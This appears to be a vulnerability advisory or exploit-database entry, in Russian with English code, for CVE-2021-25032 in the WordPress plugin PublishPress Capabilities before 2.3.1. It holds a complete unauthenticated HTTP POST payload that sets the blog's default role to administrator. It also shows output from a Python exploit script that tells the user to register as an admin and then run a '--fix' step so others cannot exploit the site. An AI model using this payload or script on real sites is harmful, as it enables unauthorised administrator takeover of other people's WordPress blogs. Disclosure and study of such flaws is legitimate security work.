
PublishPress Capabilities < 2.3.1 - Неавторизованное произвольное обновление опций для компрометации блога
PublishPress Capabilities 2.2 - 2.3 - Неавторизованное произвольное обновление опций до компрометации блога
Плагин не проверяет авторизацию и CSRF при обновлении своих настроек через хук init, а также не проверяет, что обновляемые опции принадлежат плагину. В результате неавторизованные злоумышленники могут обновлять произвольные опции блога, такие как роль по умолчанию, и назначать любому новому зарегистрированному пользователю роль администратора.
POST /wp-admin/admin.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 81
Connection: close
page=pp-capabilities-settings&all_options=default_role&default_role=administrator
$ python3 CVE-2021-25032.py -u http://wordpress.lan
The plugin version is below 2.3.1.
The plugin version is 2.2
Vulnerability check: http://wordpress.lan
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.
Отключить регистрацию и подписчика
$ python3 CVE-2021-25032.py -u http://wordpress.lan --fix yes
Vulnerability check: http://wordpress.lan
Options set successfully: http://wordpress.lan/wp-admin/admin.php
Fixed: You can not longer register